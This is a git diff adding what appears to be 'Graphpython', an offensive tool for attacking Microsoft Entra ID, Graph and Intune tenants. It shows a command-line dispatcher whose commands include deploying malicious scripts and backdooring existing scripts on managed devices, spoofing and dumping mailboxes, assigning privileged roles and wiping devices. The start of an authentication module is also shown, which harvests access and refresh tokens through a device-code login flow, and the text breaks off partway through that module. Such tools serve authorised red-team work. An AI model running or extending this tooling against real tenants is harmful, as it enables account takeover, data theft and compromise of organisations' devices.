diff --git a/.github/addapplicationcertificate-gen.png b/.github/addapplicationcertificate-gen.png new file mode 100644 index 0000000..766e376 Binary files /dev/null and b/.github/addapplicationcertificate-gen.png differ diff --git a/.github/addapplicationcertificate-portal.png b/.github/addapplicationcertificate-portal.png index ae11d6b..ff38963 100644 Binary files a/.github/addapplicationcertificate-portal.png and b/.github/addapplicationcertificate-portal.png differ diff --git a/.github/addapplicationcertificate.png b/.github/addapplicationcertificate.png index e03cac8..a63d043 100644 Binary files a/.github/addapplicationcertificate.png and b/.github/addapplicationcertificate.png differ diff --git a/.github/addapplicationpermission.png b/.github/addapplicationpermission.png index 9828d68..0f080cf 100644 Binary files a/.github/addapplicationpermission.png and b/.github/addapplicationpermission.png differ diff --git a/.github/addexclusiongroup1.png b/.github/addexclusiongroup1.png index fde7664..2bda517 100644 Binary files a/.github/addexclusiongroup1.png and b/.github/addexclusiongroup1.png differ diff --git a/.github/addexclusiongroup2.png b/.github/addexclusiongroup2.png index c24db4c..3eb85f4 100644 Binary files a/.github/addexclusiongroup2.png and b/.github/addexclusiongroup2.png differ diff --git a/.github/addexclusiongroup3.png b/.github/addexclusiongroup3.png index 71a7bf6..620e39f 100644 Binary files a/.github/addexclusiongroup3.png and b/.github/addexclusiongroup3.png differ diff --git a/.github/addexclusiongroup4.png b/.github/addexclusiongroup4.png index 45c55ed..3143553 100644 Binary files a/.github/addexclusiongroup4.png and b/.github/addexclusiongroup4.png differ diff --git a/.github/assignprivilegedrole.png b/.github/assignprivilegedrole.png index 76fb7d0..f76d05f 100644 Binary files a/.github/assignprivilegedrole.png and b/.github/assignprivilegedrole.png differ diff --git a/.github/backdoorscript.png b/.github/backdoorscript.png index ac1ce65..2a9f28d 100644 Binary files a/.github/backdoorscript.png and b/.github/backdoorscript.png differ diff --git a/.github/certtoaccesstoken.png b/.github/certtoaccesstoken.png index 5c058b5..1f65d4b 100644 Binary files a/.github/certtoaccesstoken.png and b/.github/certtoaccesstoken.png differ diff --git a/.github/deploymaliciousscript-intuneportal.png b/.github/deploymaliciousscript-intuneportal.png index 6af03ed..1298d7f 100644 Binary files a/.github/deploymaliciousscript-intuneportal.png and b/.github/deploymaliciousscript-intuneportal.png differ diff --git a/.github/deploymaliciousscript.png b/.github/deploymaliciousscript.png index 12795a1..10ec67e 100644 Binary files a/.github/deploymaliciousscript.png and b/.github/deploymaliciousscript.png differ diff --git a/.github/deploymaliciousweblink-ime.png b/.github/deploymaliciousweblink-ime.png new file mode 100644 index 0000000..eb90451 Binary files /dev/null and b/.github/deploymaliciousweblink-ime.png differ diff --git a/.github/deploymaliciousweblink-portal.png b/.github/deploymaliciousweblink-portal.png new file mode 100644 index 0000000..714df52 Binary files /dev/null and b/.github/deploymaliciousweblink-portal.png differ diff --git a/.github/deploymaliciousweblink.png b/.github/deploymaliciousweblink.png deleted file mode 100644 index 6ff406f..0000000 Binary files a/.github/deploymaliciousweblink.png and /dev/null differ diff --git a/.github/deploymaliciousweblink2.png b/.github/deploymaliciousweblink2.png index b8287da..3930ff3 100644 Binary files a/.github/deploymaliciousweblink2.png and b/.github/deploymaliciousweblink2.png differ diff --git a/.github/deploymaliciousweblink3.png b/.github/deploymaliciousweblink3.png new file mode 100644 index 0000000..fade3f2 Binary files /dev/null and b/.github/deploymaliciousweblink3.png differ diff --git a/.github/displayavpolicyrules.png b/.github/displayavpolicyrules.png index c69a7c9..bd9086d 100644 Binary files a/.github/displayavpolicyrules.png and b/.github/displayavpolicyrules.png differ diff --git a/.github/dump-devicemanabenentscritps.png b/.github/dump-devicemanabenentscritps.png index cb36ee6..5d3ec77 100644 Binary files a/.github/dump-devicemanabenentscritps.png and b/.github/dump-devicemanabenentscritps.png differ diff --git a/.github/dumpwindowsapps.png b/.github/dumpwindowsapps.png new file mode 100644 index 0000000..40ce1e7 Binary files /dev/null and b/.github/dumpwindowsapps.png differ diff --git a/.github/estsauthcookie.png b/.github/estsauthcookie.png index 2e4e7f1..e032a18 100644 Binary files a/.github/estsauthcookie.png and b/.github/estsauthcookie.png differ diff --git a/.github/finddynamicgroups.png b/.github/finddynamicgroups.png index 638311c..08dec1c 100644 Binary files a/.github/finddynamicgroups.png and b/.github/finddynamicgroups.png differ diff --git a/.github/findprivilegedapps.png b/.github/findprivilegedapps.png index 97f59c7..a04648b 100644 Binary files a/.github/findprivilegedapps.png and b/.github/findprivilegedapps.png differ diff --git a/.github/findprivilegedroleusers.png b/.github/findprivilegedroleusers.png index 6d26237..f3c8f87 100644 Binary files a/.github/findprivilegedroleusers.png and b/.github/findprivilegedroleusers.png differ diff --git a/.github/findupdatablegroups.png b/.github/findupdatablegroups.png index 83dce0e..776b538 100644 Binary files a/.github/findupdatablegroups.png and b/.github/findupdatablegroups.png differ diff --git a/.github/getapplication-perms.png b/.github/getapplication-perms.png deleted file mode 100644 index d47f77e..0000000 Binary files a/.github/getapplication-perms.png and /dev/null differ diff --git a/.github/getapplication-updated.png b/.github/getapplication-updated.png deleted file mode 100644 index 68da737..0000000 Binary files a/.github/getapplication-updated.png and /dev/null differ diff --git a/.github/getapplication-verified.png b/.github/getapplication-verified.png new file mode 100644 index 0000000..410400a Binary files /dev/null and b/.github/getapplication-verified.png differ diff --git a/.github/getapplication.png b/.github/getapplication.png index 441e9e4..8b739f7 100644 Binary files a/.github/getapplication.png and b/.github/getapplication.png differ diff --git a/.github/getcurrentuser.png b/.github/getcurrentuser.png new file mode 100644 index 0000000..85d4438 Binary files /dev/null and b/.github/getcurrentuser.png differ diff --git a/.github/getdevicecompliancepolicies.png b/.github/getdevicecompliancepolicies.png new file mode 100644 index 0000000..6079dbf Binary files /dev/null and b/.github/getdevicecompliancepolicies.png differ diff --git a/.github/getdeviceconfigurationpolicies.png b/.github/getdeviceconfigurationpolicies.png index 4a4fa21..e7bbbc6 100644 Binary files a/.github/getdeviceconfigurationpolicies.png and b/.github/getdeviceconfigurationpolicies.png differ diff --git a/.github/getdomains.png b/.github/getdomains.png new file mode 100644 index 0000000..801145f Binary files /dev/null and b/.github/getdomains.png differ diff --git a/.github/getgraphtokens.png b/.github/getgraphtokens.png index e9ad4b5..a50fdd3 100644 Binary files a/.github/getgraphtokens.png and b/.github/getgraphtokens.png differ diff --git a/.github/getgroup.png b/.github/getgroup.png new file mode 100644 index 0000000..24f4a55 Binary files /dev/null and b/.github/getgroup.png differ diff --git a/.github/getgroupmember-dynamic.png b/.github/getgroupmember-dynamic.png new file mode 100644 index 0000000..b679c2a Binary files /dev/null and b/.github/getgroupmember-dynamic.png differ diff --git a/.github/getgroupmember.png b/.github/getgroupmember.png index 4d5169c..87742cf 100644 Binary files a/.github/getgroupmember.png and b/.github/getgroupmember.png differ diff --git a/.github/getgroupmember2.png b/.github/getgroupmember2.png new file mode 100644 index 0000000..75eb0d7 Binary files /dev/null and b/.github/getgroupmember2.png differ diff --git a/.github/getgroupmemberafter.png b/.github/getgroupmemberafter.png index 39d743e..870ea34 100644 Binary files a/.github/getgroupmemberafter.png and b/.github/getgroupmemberafter.png differ diff --git a/.github/getmanageddevices.png b/.github/getmanageddevices.png index 111467a..1649fed 100644 Binary files a/.github/getmanageddevices.png and b/.github/getmanageddevices.png differ diff --git a/.github/getpermissionid.png b/.github/getpermissionid.png deleted file mode 100644 index 9087a2a..0000000 Binary files a/.github/getpermissionid.png and /dev/null differ diff --git a/.github/getscriptcontent-new.png b/.github/getscriptcontent-new.png index 739dfa5..35c4177 100644 Binary files a/.github/getscriptcontent-new.png and b/.github/getscriptcontent-new.png differ diff --git a/.github/getscriptcontent.png b/.github/getscriptcontent.png index 7e9f75d..1486c8e 100644 Binary files a/.github/getscriptcontent.png and b/.github/getscriptcontent.png differ diff --git a/.github/getserviceprincipalapproleassignments.png b/.github/getserviceprincipalapproleassignments.png deleted file mode 100644 index bc7a9db..0000000 Binary files a/.github/getserviceprincipalapproleassignments.png and /dev/null differ diff --git a/.github/gettenantid.png b/.github/gettenantid.png new file mode 100644 index 0000000..c83d236 Binary files /dev/null and b/.github/gettenantid.png differ diff --git a/.github/gettokenscope.png b/.github/gettokenscope.png new file mode 100644 index 0000000..932bfe1 Binary files /dev/null and b/.github/gettokenscope.png differ diff --git a/.github/getuser-all.png b/.github/getuser-all.png new file mode 100644 index 0000000..787c3b1 Binary files /dev/null and b/.github/getuser-all.png differ diff --git a/.github/getuser.png b/.github/getuser.png index d98515a..0aa1561 100644 Binary files a/.github/getuser.png and b/.github/getuser.png differ diff --git a/.github/getuserdevices.png b/.github/getuserdevices.png index f47eb7c..024329c 100644 Binary files a/.github/getuserdevices.png and b/.github/getuserdevices.png differ diff --git a/.github/getuserprivileges.png b/.github/getuserprivileges.png index 601316a..6f007b3 100644 Binary files a/.github/getuserprivileges.png and b/.github/getuserprivileges.png differ diff --git a/.github/getuserproperties.png b/.github/getuserproperties.png new file mode 100644 index 0000000..888138f Binary files /dev/null and b/.github/getuserproperties.png differ diff --git a/.github/grantappadminconsent.png b/.github/grantappadminconsent.png index 794097a..7488831 100644 Binary files a/.github/grantappadminconsent.png and b/.github/grantappadminconsent.png differ diff --git a/.github/inviteguestuser.png b/.github/inviteguestuser.png index 88253eb..62609dd 100644 Binary files a/.github/inviteguestuser.png and b/.github/inviteguestuser.png differ diff --git a/.github/invokesearch.png b/.github/invokesearch.png new file mode 100644 index 0000000..b67c85f Binary files /dev/null and b/.github/invokesearch.png differ diff --git a/.github/invokeuserenum.png b/.github/invokeuserenum.png index aba9c7b..93bf5f0 100644 Binary files a/.github/invokeuserenum.png and b/.github/invokeuserenum.png differ diff --git a/.github/listrecentonedrivefiles.png b/.github/listrecentonedrivefiles.png index 39c7922..7a7c44e 100644 Binary files a/.github/listrecentonedrivefiles.png and b/.github/listrecentonedrivefiles.png differ diff --git a/.github/listsharepointroot.png b/.github/listsharepointroot.png deleted file mode 100644 index 863a51c..0000000 Binary files a/.github/listsharepointroot.png and /dev/null differ diff --git a/.github/locatedirectoryrole.png b/.github/locatedirectoryrole.png new file mode 100644 index 0000000..48acc67 Binary files /dev/null and b/.github/locatedirectoryrole.png differ diff --git a/.github/locateobjectid.png b/.github/locateobjectid.png deleted file mode 100644 index f087beb..0000000 Binary files a/.github/locateobjectid.png and /dev/null differ diff --git a/.github/locateobjectid2.png b/.github/locateobjectid2.png new file mode 100644 index 0000000..3ebf2d7 Binary files /dev/null and b/.github/locateobjectid2.png differ diff --git a/.github/locatepermissionid.png b/.github/locatepermissionid.png index 138b861..4eee59c 100644 Binary files a/.github/locatepermissionid.png and b/.github/locatepermissionid.png differ diff --git a/.github/locatepermissionid2.png b/.github/locatepermissionid2.png new file mode 100644 index 0000000..93249e0 Binary files /dev/null and b/.github/locatepermissionid2.png differ diff --git a/.github/reconasoutsider.png b/.github/reconasoutsider.png new file mode 100644 index 0000000..68c6c62 Binary files /dev/null and b/.github/reconasoutsider.png differ diff --git a/.github/refreshtoazuremanagement.png b/.github/refreshtoazuremanagement.png index db14925..c7d0f3e 100644 Binary files a/.github/refreshtoazuremanagement.png and b/.github/refreshtoazuremanagement.png differ diff --git a/.github/refreshtomsgraph.png b/.github/refreshtomsgraph.png new file mode 100644 index 0000000..84ac68c Binary files /dev/null and b/.github/refreshtomsgraph.png differ diff --git a/.github/removegroupmember.png b/.github/removegroupmember.png index ca7377a..93950dd 100644 Binary files a/.github/removegroupmember.png and b/.github/removegroupmember.png differ diff --git a/.github/spoofowaemailcommand.png b/.github/spoofowaemailcommand.png index 46fb4b5..f048a6a 100644 Binary files a/.github/spoofowaemailcommand.png and b/.github/spoofowaemailcommand.png differ diff --git a/.github/updateuserproperties.png b/.github/updateuserproperties.png new file mode 100644 index 0000000..ef8e9d6 Binary files /dev/null and b/.github/updateuserproperties.png differ diff --git a/.github/usage.png b/.github/usage.png index ea7a5f9..f8ee0e1 100644 Binary files a/.github/usage.png and b/.github/usage.png differ diff --git a/.github/webapplink-desktop.png b/.github/webapplink-desktop.png new file mode 100644 index 0000000..29024f0 Binary files /dev/null and b/.github/webapplink-desktop.png differ diff --git a/.github/webapplink-dir.png b/.github/webapplink-dir.png new file mode 100644 index 0000000..7cdb7c2 Binary files /dev/null and b/.github/webapplink-dir.png differ diff --git a/.github/webapplink-salesportal.png b/.github/webapplink-salesportal.png new file mode 100644 index 0000000..d9a1115 Binary files /dev/null and b/.github/webapplink-salesportal.png differ diff --git a/.github/webapplink-start.png b/.github/webapplink-start.png new file mode 100644 index 0000000..7371722 Binary files /dev/null and b/.github/webapplink-start.png differ diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4e7a394 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +build/ +dist/ +*.egg-info/ +__pycache__/ diff --git a/Graphpython.py b/Graphpython.py new file mode 100644 index 0000000..81913b7 --- /dev/null +++ b/Graphpython.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python3 + +from Graphpython.__main__ import main + +if __name__ == '__main__': + main() diff --git a/Graphpython/MANIFEST.in b/Graphpython/MANIFEST.in new file mode 100644 index 0000000..318dde9 --- /dev/null +++ b/Graphpython/MANIFEST.in @@ -0,0 +1,4 @@ +include Graphpython/commands/graphpermissions.txt +include Graphpython/commands/directoryroles.txt +include requirements.txt +include README.md diff --git a/Graphpython/__init__.py b/Graphpython/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py new file mode 100644 index 0000000..afdf862 --- /dev/null +++ b/Graphpython/__main__.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 + +import sys +import argparse +import textwrap +from Graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators +from Graphpython.utils.helpers import list_commands, print_red + +def parseArgs(): + + version = "1.0" + print(f"\n\033[3mGraphpython v{version} - @mlcsec\033[0m\n") + parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=textwrap.dedent('''\ + examples: + Graphpython --command invoke-reconasoutsider --domain company.com + Graphpython --command invoke-userenumerationasoutsider --username + Graphpython --command get-graphtokens + Graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token + Graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] + Graphpython --command list-recentonedrivefiles --token token + Graphpython --command invoke-search --search "credentials" --entity driveItem --token token + Graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token + Graphpython --command assign-privilegedrole --token token + Graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt + Graphpython --command get-manageddevices --token intune-token + Graphpython --command deploy-maliciousscript --script malicious.ps1 --token token + Graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token + Graphpython --command add-exclusiongrouptopolicy --id --token token + Graphpython --command reboot-device --id --token eyj0... + ''') + ) + parser.add_argument("--command", help="Command to execute") + parser.add_argument("--list-commands", action="store_true", help="List available commands") + parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") + parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie") + parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE)") + parser.add_argument("--cert", help="X509Certificate path (.pfx, .crt, .pem, .cer)") + parser.add_argument("--domain", help="Target domain") + parser.add_argument("--tenant", help="Target tenant ID") + parser.add_argument("--username", help="Username or file containing usernames (invoke-userenumerationasoutsider)") + parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") + parser.add_argument("--id", help="ID of target object") + parser.add_argument("--select", help="Fields to select from output") + parser.add_argument("--query", help="Raw API query URL (GET only)") + parser.add_argument("--search", help="Search string") + parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") + parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging") + parser.add_argument("--browser", choices=['Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari'], help="Browser type for User-Agent forging") + parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") + parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") + parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") + parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript or backdoor-script)") + parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") + + args = parser.parse_args() + return args, parser + +def main(): + + args, parser = parseArgs() + + available_commands = [ + "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", + "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", + "new-signedjwt", "get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", "get-user", "get-userproperties", + "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", + "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", + "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", + "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", + "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", + "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", + "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", "locate-directoryrole", + "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", + "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", + "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", + "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", + "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" + ] + + if len(sys.argv) == 1: + parser.print_help() + sys.exit() + + if args.list_commands: + list_commands() + return + + if args.command and args.command.lower() in [ + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", + "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", + "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", + "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", + "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", + "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", + "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", + "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", + "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", + "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", + "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", + "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", + "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", + "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", + "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", + "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", + "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + if not args.token: + print_red(f"[-] Error: --token is required for command") + return + + try: + # Outsider commands + if args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: + getattr(outsider, args.command.replace("-", "_"))(args) + + # Authentication commands + elif args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", + "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", + "invoke-appsecrettoaccesstoken", "new-signedjwt"]: + getattr(auth, args.command.replace("-", "_"))(args) + + # Enumeration commands + elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", + "get-user", "get-userproperties", "get-userprivileges", + "get-usertransitivegroupmembership", "get-group", "get-groupmember", + "get-userapproleassignments", "get-conditionalaccesspolicy", + "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", + "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", + "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", + "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", + "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", + "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", + "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", + "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + getattr(enum, args.command.replace("-", "_"))(args) + + # Exploitation commands + elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", + "find-updatablegroups","find-dynamicgroups", "find-securitygroups", + "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", + "create-application", "create-newuser", "invite-guestuser", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", + "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", + "add-applicationpassword", "grant-appadminconsent"]: + getattr(exploit, args.command.replace("-", "_"))(args) + + # Intune enum commands + elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", + "get-devicecompliancesummary", "get-deviceconfigurations", + "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", + "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", + "get-devicecompliancepolicies"]: + getattr(intune_enum, args.command.replace("-", "_"))(args) + + # Intune exploit commands + elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", + "dump-androidapps", "dump-macosapps","get-scriptcontent", + "display-avpolicyrules", "display-asrpolicyrules", + "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-edrpolicyrules", + "display-lapsaccountprotectionpolicyrules", + "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", + "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", + "update-deviceconfig", "reboot-device", "lock-device", "shutdown-device"]: + getattr(intune_exploit, args.command.replace("-", "_"))(args) + + # Cleanup commands + elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", + "delete-device", "wipe-device", "retire-device"]: + getattr(cleanup, args.command.replace("-", "_"))(args) + + # Locator commands + elif args.command in ["locate-objectid", "locate-permissionid", "locate-directoryrole"]: + getattr(locators, args.command.replace("-", "_"))(args) + + # ... + elif args.command and args.command.lower() not in available_commands: + print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") + + except KeyboardInterrupt: + print_red("\n[-] Operation cancelled by user") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred while executing '{args.command}': {str(e)}") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Graphpython/commands/__init__.py b/Graphpython/commands/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/commands/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/commands/auth.py b/Graphpython/commands/auth.py new file mode 100644 index 0000000..b01aacd --- /dev/null +++ b/Graphpython/commands/auth.py @@ -0,0 +1,1200 @@ +import requests +import json +import jwt +import hashlib +import time +import base64 +import uuid +import sys +from datetime import datetime, timedelta, timezone +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from urllib.parse import urlencode, urlparse, parse_qs +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +################## +# Authentication # +################## + +# get-graphtokens +def get_graphtokens(args): + print_yellow("[*] Get-GraphTokens") + print("=" * 80) + client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + resource = "https://graph.microsoft.com" + user_agent = get_user_agent(args) + + body = { + "client_id": client_id, + "resource": resource + } + + headers = { + "User-Agent": user_agent + } + + device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) + device_code_response_content = device_code_response.content.decode() + device_code = None + message = None + + try: + device_code_json_response = json.loads(device_code_response_content) + device_code = device_code_json_response["device_code"] + message = device_code_json_response["message"] + + except Exception as ex: + print_red(f"[-] Failed to parse device code response: {ex}") + print("=" * 80) + exit() + + print(f"{message}\n") + time.sleep(3) + + start_time = datetime.now() + polling_duration = timedelta(minutes=15) + last_authorization_pending_time = datetime.min + + while datetime.now() - start_time < polling_duration: + token_body = { + "client_id": client_id, + "grant_type": "urn:ietf:params:oauth:grant-type:device_code", + "code": device_code + } + + token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) + token_response_content = token_response.content.decode() + + if token_response.status_code == 400: + if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): + print("authorization_pending...") + last_authorization_pending_time = datetime.now() + time.sleep(3) + elif not token_response.ok or "authorization_pending" in token_response_content: + # continue polling + time.sleep(3) + else: + token_json = json.loads(token_response_content) + print_green("\n[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + file_path = "graph_tokens.txt" + with open(file_path, "a") as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + 